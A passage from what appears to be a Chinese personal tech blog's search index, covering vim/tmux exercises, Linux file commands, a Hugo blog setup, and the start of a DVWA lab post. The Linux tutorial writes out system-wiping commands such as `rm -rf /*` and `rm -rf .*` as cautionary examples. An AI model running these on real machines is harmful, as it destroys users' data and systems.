dG（从当前行删到文件末尾） → :wq 保存退出 或者直接：\u0026gt; source0.cpp [2] 将 source1.cpp 中的第1-3行和第12-24行复制到 source0.cpp： vim source1.cpp → gg（跳到第一行）→ v → 3G（选到第3行末尾）→ y → :q 退出 vim source0.cpp → p（粘贴第1-3行） → :wq 退出 vim source1.cpp → 12G → v → 24G → y → :q 退出 vim source0.cpp → G（跳到最后）→ p → :wq 保存退出 homework_7 cd homework_7 vim source.cpp gg=G（全文格式化） :wq 保存退出 homework_8 cd homework_8 vim source.cpp [1] 将第15-21行向右缩进2次： 15G → v → 21G → \u0026gt;（第一次缩进） 15G → v → 21G → \u0026gt;（第二次缩进） 或：15Gv21G\u0026gt; 执行两次 [2] 将第22-23行向左缩进1次： 22G → v → 23G → \u0026lt; :wq 保存退出 homework_9 cd homework_9 浏览器打开链接：https://www.acwing.com/activity/content/code/content/1694465/ 复制全部代码 vim source.cpp 按 i 进入编辑模式 右键粘贴（或 Ctrl+Shift+V） ESC :wq 保存退出 四、tmux + vim 的组合使用场景 # 1. 连上服务器 ssh mycvm # 2. 启动 tmux（如果已有 session，用 tmux a 恢复） tmux # 3. 左 pane 编辑代码 Ctrl+A 然后 % # 4. 右 pane 跑程序/看日志 Ctrl+A 然后 方向键右 → 到这个 pane → 运行命令 # 5. 编辑时：左边 vim 写代码，右边 tail -f 看日志 # 左边修改保存，右边立刻看到效果 # 6. 下班了，断开连接 Ctrl+A 然后 d（挂起）→ 关闭终端 → 回家 # 7. 到家后再连上 ssh mycvm → tmux a → 一切还是下班前那样 本文基于 ACWing Linux 基础课笔记整理，作业题解已补全。\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0801_01_linux%E5%9F%BA%E7%A1%80_tmux%E5%92%8Cvim%E6%93%8D%E4%BD%9C/","summary":"\u003ch2 id=\"一tmux--终端复用器\"\u003e一、tmux — 终端复用器\u003c/h2\u003e\n\u003ch3 id=\"它解决什么问题\"\u003e它解决什么问题\u003c/h3\u003e\n\u003cp\u003eSSH 连接到远程服务器时，一旦网络断开或关闭终端窗口，正在运行的程序（比如 \u003ccode\u003ehugo server\u003c/code\u003e、\u003ccode\u003eapt install\u003c/code\u003e）会被强制终止。\u003c/p\u003e\n\u003cp\u003etmux 在用户和服务器之间插入了一个\u003cstrong\u003e持久层\u003c/strong\u003e——你关掉终端、断开 SSH，tmux 里的程序继续跑。下次连上，\u003ccode\u003etmux a\u003c/code\u003e 一切恢复原样。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e普通 SSH：                      SSH + tmux：\n\n  你 ──SSH── 服务器                你 ──SSH── 服务器\n              │                              │\n              跑程序                         tmux（持久层）\n              │                              │\n  SSH 断开 → 程序死                  SSH 断开 → tmux 里的程序继续跑\n                                      下次连上 → tmux a → 恢复\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"层级结构\"\u003e层级结构\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003etmux 服务\n├── session 0（工作区 A：博客开发）\n│   ├── window 0（这个窗口跑 hugo server）\n│   │   ├── pane 0（左边：编辑 config.yml）\n│   │   └── pane 1（右边：看日志）\n│   └── window 1（这个窗口跑 docker）\n│       └── pane 0\n├── session 1（工作区 B：渗透练习）\n│   ├── window 0（DVWA 目录）\n│   └── window 1（查资料）\n└── session 2\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003esession = 独立工作区，window = 浏览器标签页，pane = 分屏。\u003c/strong\u003e 你在一个 session 里\u0026quot;挂起\u0026quot;（detach），另一个终端可以\u0026quot;接入\u0026quot;（attach），无缝切换。\u003c/p\u003e","title":"Linux 基础：tmux 和 vim 操作"},{"content":"一、Linux 文件系统的核心哲学 一切皆文件 Linux 最根本的设计思想：系统中的一切——硬盘、目录、进程、键盘、网络连接——在操作系统眼里都是\u0026quot;文件\u0026quot;。\n/dev/sda ← 你的硬盘，是个文件 /proc/cpuinfo ← CPU 信息，是个文件 /etc/passwd ← 用户账号，是个文件 /home/renbudang/.ssh/id_ed25519 ← SSH 私钥，是个文件 这意味着同一套读、写、移动的操作可以作用于任何对象。你 cat /proc/cpuinfo 就能读 CPU 信息，和读一个 txt 文件没有区别。\n单根树结构 Windows 的世界里，每个分区是一个独立的起点（C: / D: / E:）。Linux 的世界里，只有一个根 /，所有的硬盘、U 盘、网络存储都\u0026quot;挂载\u0026quot;到这棵树的某个分支上。\n/ ← 根，一切从这里开始 ├── bin/ ← 系统基础命令（ls、cp、mv 等） ├── boot/ ← 启动相关文件（内核） ├── dev/ ← 设备文件（硬盘、键盘、终端） ├── etc/ ← 配置文件（Nginx、SSH、用户信息） ├── home/ ← 普通用户的家目录 │ └── renbudang/ ← 你的家目录（~ 就指向这里） ├── tmp/ ← 临时文件（重启后清空，不保证保留） ├── var/ ← 变化的数据（日志、网站、数据库） │ └── www/html/ ← Nginx 默认网站目录 ├── proc/ ← 进程和内核信息（虚拟文件系统，不占磁盘） └── usr/ ← 用户安装的软件 路径：绝对 vs 相对 # 绝对路径——从根 / 出发 ls /home/renbudang/myblog/config.yml # 相对路径——从当前位置出发 # 假设已经在 /home/renbudang 目录下： ls myblog/config.yml # 等价于上面那条 ls ./myblog/config.yml # . 代表\u0026#34;当前目录\u0026#34;，等价 ls ../ubuntu/.ssh # .. 代表\u0026#34;上一级目录\u0026#34;，这里等于 /home/ubuntu/.ssh ls ~/myblog # ~ 代表\u0026#34;当前用户的家目录\u0026#34; 判断规则：第一个字符是不是 /。\n权限三元组 $ ls -l -rw-rw-r-- 1 renbudang renbudang 6406 Jul 29 13:52 config.yml │ │ │ │ │ └── 其他人的权限（r-- = 只能读） │ └── 所属组的权限（rw- = 读写，不能执行） └── 文件所有者的权限（rw- = 读写，不能执行） 类型标记： - 普通文件 d 目录 l 符号链接（快捷方式） 权限字符： r read 读（4） w write 写（2） x execute 执行（1） - 没这个权限 rw- = 4+2+0 = 6。所以 chmod 644 file = 所有者读写(6)，组只读(4)，其他人只读(4)。\n二、导航类命令 pwd — 我在哪 pwd # /home/renbudang/myblog Print Working Directory。告诉你当前在文件树的哪个节点。迷路了就敲一下。\ncd — 去哪 cd /var/log # 去绝对路径 cd .. # 回上一级 cd ../.. # 回上两级 cd ~ # 回家目录 cd - # 回上一次在的目录（在 A 和 B 之间反复跳） cd # 不带参数 = cd ~ ls — 这有什么 ls # 列出当前目录下的文件和子目录 ls -l # 长格式：权限、大小、时间 ls -lh # 长格式 + 人类可读的大小（1K、234M、2G） ls -a # 显示隐藏文件（以 . 开头的文件） ls -A # 同 -a，但不显示 . 和 .. 两个特殊目录项 ls /var/log # 列出指定目录的内容 -l 和 -h 可以组合：ls -lh。\nll 大多数 Linux 发行版把 ll 设为 ls -l 的别名。你敲 ll，实际执行的是 ls -l。\n三、查看类命令 cat — 把文件内容打印到屏幕 cat config.yml # 整个文件一次打印 cat /proc/cpuinfo # 查看 CPU 信息 cat file1.md file2.md \u0026gt; merged.md # 合并两个文件 head / tail — 只看头或尾 head -20 config.yml # 前 20 行 tail -20 /var/log/nginx/error.log # 最后 20 行（查日志最常用） tail -f /var/log/nginx/access.log # 实时跟踪日志新增内容（Ctrl+C 退出） 四、创建与删除 touch — 创建空文件或更新文件时间戳 touch newfile.md # 创建一个空的 md 文件 touch existingfile.md # 如果文件已存在，只更新它的\u0026#34;最后修改时间\u0026#34; mkdir — 创建目录 mkdir mydir # 创建一个目录 mkdir -p a/b/c/d # 一口气创建嵌套的四个目录（不用逐层创建） rm — 删除文件或目录 rm file.md # 删文件 rm -r mydir # 删目录（递归删除里面的所有内容） rm -rf mydir # 强制删，不提示确认 rm -rf /var/www/html/* # 删 html 目录里的所有内容，但保留 html 目录本身 危险区：\nrm -rf / var/www/html # ← / 后面有个空格！系统会先删 /（整个系统），再删指定目录 rm -rf * # ← 删掉当前目录下所有东西 永远在敲 rm -rf 前停一秒，确认路径。\ncp — 复制 cp source.txt dest.txt # 复制文件 cp -r source_dir dest_dir # 复制目录（-r = 递归） cp file1 file2 dest_dir/ # 复制多个文件到目标目录 mv — 移动或重命名 mv oldname.txt newname.txt # 重命名 mv file.txt /tmp/ # 移动到 /tmp mv olddir newdir # 目录重命名（不需要 -r） Linux 里没有单独的\u0026quot;重命名\u0026quot;命令——mv 同时干移动和重命名两件事。本质上，\u0026ldquo;重命名\u0026quot;就是\u0026quot;把文件从原路径移动到新路径\u0026rdquo;。\n五、终端快捷键（不产生文件） Tab — 自动补全 ls /home/r\u0026lt;Tab\u0026gt; # 自动补全成 ls /home/renbudang/（如果唯一匹配） 如果多个匹配，按两下 Tab 列出所有可能性：\nls /usr/\u0026lt;Tab\u0026gt;\u0026lt;Tab\u0026gt; # bin/ games/ include/ lib/ local/ sbin/ share/ src/ Ctrl+C — 终止当前运行的程序 hugo server # 启动后就卡在终端里了 # 按 Ctrl+C → 程序停止，回到命令提示符 不是\u0026quot;撤销\u0026quot;，是\u0026quot;强制停止正在跑的程序\u0026quot;。\nCtrl+U — 清掉当前行 $ rm -rf /etc/nginx/很长的路径打错了想重来 # 按 Ctrl+U → 整行清空，光标回到行首 比按住 Backspace 删半天快得多。\n六、命令组合模式 管道 | — 把一个命令的输出喂给另一个命令 ls -l | grep config # ls 的输出 → 只保留包含 \u0026#34;config\u0026#34; 的行 cat access.log | wc -l # 统计日志有多少行 docker ps | grep dvwa # 在运行中容器里找 dvwa 重定向 \u0026gt; / \u0026gt;\u0026gt; — 把输出写到文件 ls -l \u0026gt; filelist.txt # 覆盖写入 ls -l \u0026gt;\u0026gt; filelist.txt # 追加写入（不覆盖原有内容） echo \u0026#34;hello\u0026#34; \u0026gt; new.txt # 创建文件并写入一行 七、实践建议 # 日常最常用的五个命令： ls -lh # 看看这都有啥 cd 路径 # 换个地方 cat 文件名 # 快速看一眼文件内容 mv A B # 移动或改名 rm 文件 # 删除 # 遇到问题时的自救三步： pwd # 先确认自己在哪 ls -la # 看看当前目录有什么（含隐藏文件） history # 看看刚才敲了什么命令 八、rm -rf /* vs rm -rf * — 两个危险命令的区别 rm -rf /* — 从根目录开始删 /* = 根目录下的所有东西 = /bin + /boot + /dev + /etc + /home + /tmp + /var + /usr + ... rm -rf /* → 从根 / 出发，遍历所有子目录，全部递归强制删除 → 内核还在内存里跑，但磁盘上的系统文件全没了 → 机器不会立刻死，但任何新的命令、读写操作都会失败 → 这就是\u0026#34;删库跑路\u0026#34;的原型 rm -rf * — 从当前目录开始删 * = 当前目录下的所有东西（不包含隐藏文件） 假设你在 /home/renbudang/ 下执行： rm -rf * → 删掉 myblog/、各类配置文件、所有可见文件 → /home/renbudang/ 变成空目录 → 系统文件（/bin、/etc 等）完好无损 核心区别 rm -rf /* rm -rf * 起删点 根目录 / 当前目录 影响范围 整个系统 当前目录下的可见内容 星号含义 根目录下的所有内容 当前目录下的所有内容 跟正则有关吗 无关——* 是 shell 的通配符（globbing），不是正则表达式 九、rm -rf .* 为什么危险 .* 展开后包含 ..：\n当前你在 /home/renbudang/myblog/ Shell 把 .* 展开： . ← 当前目录 /home/renbudang/myblog/ .. ← 上一级目录 /home/renbudang/ .gitignore ← 隐藏文件 rm -rf .. 会导致递归删除上一级目录 /home/renbudang/。现代 GNU rm 会拒绝删除 . 和 ..，但不应依赖这个保护——老系统、某些 Docker 镜像里的 rm 可能没有这个检查。\n安全的删除隐藏文件写法：\nrm -rf .[!.]* # 以 . 开头，第二位不能是 .，排除了 . 和 .. 十、Shell 通配规则（Globbing） Shell 在把命令交给 rm（或 ls、cp）之前，自己先做文件名展开。这个过程叫 globbing，*、?、[...] 叫 glob pattern，不是正则表达式。\n三条基本运算符 运算符 匹配什么 例子 展开结果 * 任意长度的任意字符（除了以 . 开头） *.md a.md、config.md，不匹配 .hidden.md ? 任意一个字符 file?.txt file1.txt、fileA.txt，不匹配 file12.txt [...] 方括号里的一个字符 file[0-9].txt file1.txt、file5.txt，不匹配 fileA.txt * 的两条硬规则 规则一：* 匹配任意字符序列，长度可以为 0 规则二：* 不会穿过 /（不能跨目录层级匹配） 规则三：以 . 开头的文件名不会被 * 匹配（这是有意为之的设计约定） 为什么 * 不匹配隐藏文件 这是 Unix 设计者有意为之的约定，不是技术限制。每个目录里必然存在 . 和 .. 两个特殊目录项，设计者想让 ls 和通配符默认忽略它们，于是定了一条规则：以 . 开头的文件名是\u0026quot;隐藏\u0026quot;的，* 不匹配它们。\n四十年来所有类 Unix 系统都遵守这个约定。\n.* 展开规则 .* 就是一个字面点号 . 后面跟一个 *：\n. ← 固定的、字面的点号（文件名第一个字符必须是 .） * ← 后面跟任意字符序列（包括空） 展开逻辑：在当前目录下找所有以 . 开头的名字。 但 . 和 .. 恰好也以点开头——所以它们也被包括在内。\necho .* # 展开为：echo . .. .bashrc .gitconfig .local .ssh . 在 glob 里只是一个普通字面字符，没有任何特殊含义。它不像正则表达式里 . 代表\u0026quot;任意字符\u0026quot;。\n展开时机 Shell 在敲回车之后、命令启动之前完成展开。 ls *.md → Shell 先：把 *.md 替换成当前目录下所有匹配的文件名 → Shell 执行：ls a.md config.md readme.md → ls 收到的参数里已经看不到 * 了——星号是 shell 的事，跟 ls 无关 常用通配组合速查 模式 匹配 危险程度 * 所有非隐藏文件 🟢 安全 .* 所有隐藏文件 + . + .. 🔴 危险（含 ..） .[!.]* 所有隐藏文件，排除 . 和 .. 🟢 安全 *.* 文件名里必须有 .（file.txt ✓，Makefile ✗） 🟢 安全 *.{md,yaml} brace expansion 先展开为 *.md *.yaml 🟢 安全 /* 根目录下所有内容 🔴🔴🔴 致命 下一篇：Linux 文件编辑（vim / nano / VS Code Remote）与文件搜索（find / grep）\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0730_01_linux%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86%E5%8F%8A%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/","summary":"\u003ch2 id=\"一linux-文件系统的核心哲学\"\u003e一、Linux 文件系统的核心哲学\u003c/h2\u003e\n\u003ch3 id=\"一切皆文件\"\u003e一切皆文件\u003c/h3\u003e\n\u003cp\u003eLinux 最根本的设计思想：\u003cstrong\u003e系统中的一切——硬盘、目录、进程、键盘、网络连接——在操作系统眼里都是\u0026quot;文件\u0026quot;。\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/dev/sda       ← 你的硬盘，是个文件\n/proc/cpuinfo  ← CPU 信息，是个文件\n/etc/passwd    ← 用户账号，是个文件\n/home/renbudang/.ssh/id_ed25519  ← SSH 私钥，是个文件\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这意味着同一套读、写、移动的操作可以作用于任何对象。你 \u003ccode\u003ecat /proc/cpuinfo\u003c/code\u003e 就能读 CPU 信息，和读一个 txt 文件没有区别。\u003c/p\u003e\n\u003ch3 id=\"单根树结构\"\u003e单根树结构\u003c/h3\u003e\n\u003cp\u003eWindows 的世界里，每个分区是一个独立的起点（\u003ccode\u003eC:\u003c/code\u003e / \u003ccode\u003eD:\u003c/code\u003e / \u003ccode\u003eE:\u003c/code\u003e）。Linux 的世界里，\u003cstrong\u003e只有一个根 \u003ccode\u003e/\u003c/code\u003e\u003c/strong\u003e，所有的硬盘、U 盘、网络存储都\u0026quot;挂载\u0026quot;到这棵树的某个分支上。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/                          ← 根，一切从这里开始\n├── bin/                   ← 系统基础命令（ls、cp、mv 等）\n├── boot/                  ← 启动相关文件（内核）\n├── dev/                   ← 设备文件（硬盘、键盘、终端）\n├── etc/                   ← 配置文件（Nginx、SSH、用户信息）\n├── home/                  ← 普通用户的家目录\n│   └── renbudang/         ← 你的家目录（~ 就指向这里）\n├── tmp/                   ← 临时文件（重启后清空，不保证保留）\n├── var/                   ← 变化的数据（日志、网站、数据库）\n│   └── www/html/          ← Nginx 默认网站目录\n├── proc/                  ← 进程和内核信息（虚拟文件系统，不占磁盘）\n└── usr/                   ← 用户安装的软件\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"路径绝对-vs-相对\"\u003e路径：绝对 vs 相对\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 绝对路径——从根 / 出发\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003els /home/renbudang/myblog/config.yml\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 相对路径——从当前位置出发\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 假设已经在 /home/renbudang 目录下：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003els myblog/config.yml          \u003cspan style=\"color:#75715e\"\u003e# 等价于上面那条\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003els ./myblog/config.yml        \u003cspan style=\"color:#75715e\"\u003e# . 代表\u0026#34;当前目录\u0026#34;，等价\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003els ../ubuntu/.ssh             \u003cspan style=\"color:#75715e\"\u003e# .. 代表\u0026#34;上一级目录\u0026#34;，这里等于 /home/ubuntu/.ssh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003els ~/myblog                   \u003cspan style=\"color:#75715e\"\u003e# ~ 代表\u0026#34;当前用户的家目录\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e判断规则：第一个字符是不是 \u003ccode\u003e/\u003c/code\u003e。\u003c/strong\u003e\u003c/p\u003e","title":"Linux 文件管理及常用命令"},{"content":"为什么选 Hugo Hugo 是一个用 Go 写的静态网站生成器。它和 WordPress 这类动态博客的区别是：\nHugo WordPress 原理 Markdown → 预生成 HTML 文件 每次访问查数据库 + 渲染 PHP 服务器要求 纯静态文件，Nginx 直接 serve 需要 PHP + MySQL 内存占用 0（只有 Nginx 的几 MB） MySQL 400M+ 安全 没有后台、没有数据库，攻击面极窄 PHP + 插件 = 常见攻击入口 写作方式 VS Code 写 Markdown 浏览器里写 速度 秒开 看服务器性能 版本控制 Git 数据库导出，不优雅 对于一台 2C2G 的轻量服务器，Hugo 是唯一正确的选择。\n技术栈 云服务器：腾讯云轻量应用服务器 2C2G 3Mbps（Ubuntu 22.04） 静态生成：Hugo 0.146.5 主题：PaperMod（Gitee 镜像） Web 服务器：Nginx 部署方式：Hugo 生成 HTML → Nginx 直接 serve HTTPS：等域名备案下来后 Let\u0026#39;s Encrypt 免费证书 博客目录结构 ~/myblog/ ├── config.yml ← 博客配置（核心文件） ├── content/ ← 所有文章和页面 │ ├── posts/ │ │ ├── 技术/ │ │ ├── 杂文/ │ │ ├── 美食/ │ │ └── 健身/ │ ├── about.md ← 关于页面 │ ├── archives.md ← 时间轴页面 │ ├── search.md ← 搜索页面 │ └── tags/_index.md ← 标签页面 ├── layouts/ ← 自定义布局（覆盖主题默认） │ ├── _default/ │ │ ├── archives.html ← 时间轴模板（来自 sulv-hugo-papermod） │ │ └── search.html ← 搜索模板 │ └── partials/ │ └── index_profile.html ← 首页 profileMode 模板 ├── assets/js/ ← 自定义 JS │ ├── fastsearch.js │ └── fuse.basic.min.js ├── static/img/ ← 静态资源（头像、二维码等） ├── themes/PaperMod/ ← Hugo 主题（不改动） └── deploy.sh ← 构建+部署脚本 config.yml 关键配置 首页：profileMode PaperMod 内置两种首页模式。homeInfoParams 是纯文字，profileMode 是头像 + 按钮布局。选择后者：\nparams: profileMode: enabled: true title: \u0026#34;你好，我是不当人了 👋\u0026#34; subtitle: \u0026#34;立志成为一个猫娘\u0026#34; imageUrl: \u0026#34;img/avatar.jpg\u0026#34; imageWidth: 150 imageHeight: 150 buttons: - name: 👨🏻‍💻 技术 url: posts/技术 - name: 💭 杂文 url: posts/杂文 - name: 🍳 美食 url: posts/美食 - name: 🏋️ 健身 url: posts/健身 profileMode 的按钮是 PaperMod 内置功能，但 sulv-hugo-papermod 通过自定义 layouts/partials/index_profile.html 改良了按钮样式——我们在博客里也用了这份改良版。\n搜索：Fuse.js + 标题摘要匹配 outputs: home: - HTML - RSS - JSON ← 必须加 JSON，Hugo 才会生成搜索索引 index.json params: fuseOpts: isCaseSensitive: false shouldSort: true threshold: 0.3 minMatchCharLength: 2 keys: [\u0026#34;title\u0026#34;, \u0026#34;summary\u0026#34;] ← 只匹配标题和摘要，不搜正文 搜索页面需要三个要素：\ncontent/search.md — 声明 layout: search layouts/_default/search.html — 搜索框 + 结果列表 + 加载 Fuse.js assets/js/ 下两个 JS 文件 — fuse.basic.min.js（搜索库）+ fastsearch.js（搜索逻辑） 时间轴 PaperMod 自带 archives 类型，但 sulv 覆写了 layouts/_default/archives.html，改为按 年份 → 月份 → 文章标题 三级排列的时间轴风格。\n文章 front matter 每篇 .md 文件开头必须包含：\n--- title: \u0026#34;文章标题\u0026#34; date: 2026-07-29T14:00:00+08:00 draft: false ← false 才会发布 categories: [\u0026#34;技术\u0026#34;] ← 四分类之一 tags: [\u0026#34;Hugo\u0026#34;, \u0026#34;博客\u0026#34;] ← 2-5 个标签 --- 一键发布脚本 本地 PowerShell 跑 .\\publish.ps1：\n# 推送文章 → 推送布局 → 推送静态资源 → 远端 Hugo 构建 → Nginx 部署 scp -r \u0026#34;$blogLocal\\content\\*\u0026#34; \u0026#34;mycvm:/home/renbudang/myblog/content/\u0026#34; # ...（推送 layouts、assets、static） ssh mycvm \u0026#34;/home/renbudang/myblog/deploy.sh\u0026#34; 远端 deploy.sh：\ncd ~/myblog rm -rf /tmp/myblog-public/* hugo -d /tmp/myblog-public sudo rm -rf /var/www/html/* sudo cp -r /tmp/myblog-public/* /var/www/html/ 踩过的坑 PaperMod 版本兼容：Hugo 0.92（apt 默认）太老 → 从 GitHub 下载 0.146.5 的 deb，scp 上传手动装。PaperMod 最新版要求 Hugo 0.146+，恰好踩在边界上。\nGitee 镜像不带 tag：git clone 拉 PaperMod 主题时 GitHub 超时 → Gitee 镜像拉下来是最新版，没有旧 tag 可选。最后配对了 Hugo 0.146.5 + PaperMod（Gitee 镜像），刚好兼容。\n搜索不出结果：漏了 outputs.home 的 JSON 项 → Hugo 不生成 index.json → Fuse.js 没数据可搜。\n搜索太泛：默认搜全文 → \u0026ldquo;你\u0026quot;这个字出现在所有文章里，搜什么都出一堆。改成只搜 [\u0026quot;title\u0026quot;, \u0026quot;summary\u0026quot;]，体验好多了。\nsudo 无密码：部署脚本里的 sudo rm/cp 在非交互 SSH 模式下需要输密码 → 配了 /etc/sudoers.d/renbudang-deploy 免密。\nconfig.yml 缩进：YAML 对缩进极其敏感，profileMode 的二级配置缩进不对直接报 did not find expected key。\n当前状态与后续计划 Hugo + PaperMod 博客上线（IP 访问） 首页 profileMode 按钮布局 四分类（技术 / 杂文 / 美食 / 健身） 标签页（空白问题已修，需文章有 tags） 搜索页（标题+摘要匹配，Fuse.js 模糊搜索） 时间轴（年月三级排列） 一键发布脚本 域名备案通过 → 绑域名 + HTTPS 评论系统（Waline / Giscus） 图片 CDN 自动部署（GitHub Actions） 这篇记录本身也在博客上——吃了自己做的饭。\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0729_01_hugo%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E4%B8%8Epapermod%E9%85%8D%E7%BD%AE%E5%85%A8%E8%AE%B0%E5%BD%95/","summary":"\u003ch2 id=\"为什么选-hugo\"\u003e为什么选 Hugo\u003c/h2\u003e\n\u003cp\u003eHugo 是一个用 Go 写的静态网站生成器。它和 WordPress 这类动态博客的区别是：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth\u003eHugo\u003c/th\u003e\n          \u003cth\u003eWordPress\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e原理\u003c/td\u003e\n          \u003ctd\u003eMarkdown → 预生成 HTML 文件\u003c/td\u003e\n          \u003ctd\u003e每次访问查数据库 + 渲染 PHP\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e服务器要求\u003c/td\u003e\n          \u003ctd\u003e纯静态文件，Nginx 直接 serve\u003c/td\u003e\n          \u003ctd\u003e需要 PHP + MySQL\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e内存占用\u003c/td\u003e\n          \u003ctd\u003e0（只有 Nginx 的几 MB）\u003c/td\u003e\n          \u003ctd\u003eMySQL 400M+\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e安全\u003c/td\u003e\n          \u003ctd\u003e没有后台、没有数据库，攻击面极窄\u003c/td\u003e\n          \u003ctd\u003ePHP + 插件 = 常见攻击入口\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e写作方式\u003c/td\u003e\n          \u003ctd\u003eVS Code 写 Markdown\u003c/td\u003e\n          \u003ctd\u003e浏览器里写\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e速度\u003c/td\u003e\n          \u003ctd\u003e秒开\u003c/td\u003e\n          \u003ctd\u003e看服务器性能\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e版本控制\u003c/td\u003e\n          \u003ctd\u003eGit\u003c/td\u003e\n          \u003ctd\u003e数据库导出，不优雅\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对于一台 2C2G 的轻量服务器，Hugo 是唯一正确的选择。\u003c/p\u003e\n\u003ch2 id=\"技术栈\"\u003e技术栈\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e云服务器：腾讯云轻量应用服务器 2C2G 3Mbps（Ubuntu 22.04）\n静态生成：Hugo 0.146.5\n主题：PaperMod（Gitee 镜像）\nWeb 服务器：Nginx\n部署方式：Hugo 生成 HTML → Nginx 直接 serve\nHTTPS：等域名备案下来后 Let\u0026#39;s Encrypt 免费证书\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"博客目录结构\"\u003e博客目录结构\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e~/myblog/\n├── config.yml          ← 博客配置（核心文件）\n├── content/            ← 所有文章和页面\n│   ├── posts/\n│   │   ├── 技术/\n│   │   ├── 杂文/\n│   │   ├── 美食/\n│   │   └── 健身/\n│   ├── about.md        ← 关于页面\n│   ├── archives.md     ← 时间轴页面\n│   ├── search.md       ← 搜索页面\n│   └── tags/_index.md  ← 标签页面\n├── layouts/            ← 自定义布局（覆盖主题默认）\n│   ├── _default/\n│   │   ├── archives.html  ← 时间轴模板（来自 sulv-hugo-papermod）\n│   │   └── search.html    ← 搜索模板\n│   └── partials/\n│       └── index_profile.html  ← 首页 profileMode 模板\n├── assets/js/          ← 自定义 JS\n│   ├── fastsearch.js\n│   └── fuse.basic.min.js\n├── static/img/         ← 静态资源（头像、二维码等）\n├── themes/PaperMod/    ← Hugo 主题（不改动）\n└── deploy.sh           ← 构建+部署脚本\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"configyml-关键配置\"\u003econfig.yml 关键配置\u003c/h2\u003e\n\u003ch3 id=\"首页profilemode\"\u003e首页：profileMode\u003c/h3\u003e\n\u003cp\u003ePaperMod 内置两种首页模式。\u003ccode\u003ehomeInfoParams\u003c/code\u003e 是纯文字，\u003ccode\u003eprofileMode\u003c/code\u003e 是头像 + 按钮布局。选择后者：\u003c/p\u003e","title":"Hugo 博客搭建与 PaperMod 配置全记录"},{"content":"Docker 部署 DVWA 与 SSH 隧道 日期：2026-07-28\n前文：02_Docker与虚拟机与NAS\n一、DVWA 是什么 DVWA（Damn Vulnerable Web Application） 是一个故意设计得漏洞百出的 PHP/MySQL Web 应用，用于安全从业人员练习渗透测试。\n内置漏洞类型（对应 CISP-PTE Web 维度 40 分） 漏洞类型 攻击方法 CISP-PTE 覆盖 SQL 注入 联合查询 / 报错注入 / 盲注 ✅ XSS 反射型 / 存储型 / DOM 型 ✅ CSRF 跨站请求伪造 ✅ 文件包含 LFI（本地文件包含）/ RFI（远程文件包含） ✅ 文件上传 前端绕过 / MIME 绕过 / 黑名单绕过 ✅ 命令注入 RCE（远程命令执行） ✅ 暴力破解 弱口令爆破 ✅ CAPTCHA 绕过 验证码逻辑漏洞 ✅ 安全等级 Low → 无任何防护，学习漏洞原理 Medium → 有基础过滤（如 mysql_real_escape_string），但可绕过 High → 更强的防御，需要更高级的绕过技巧 Impossible → 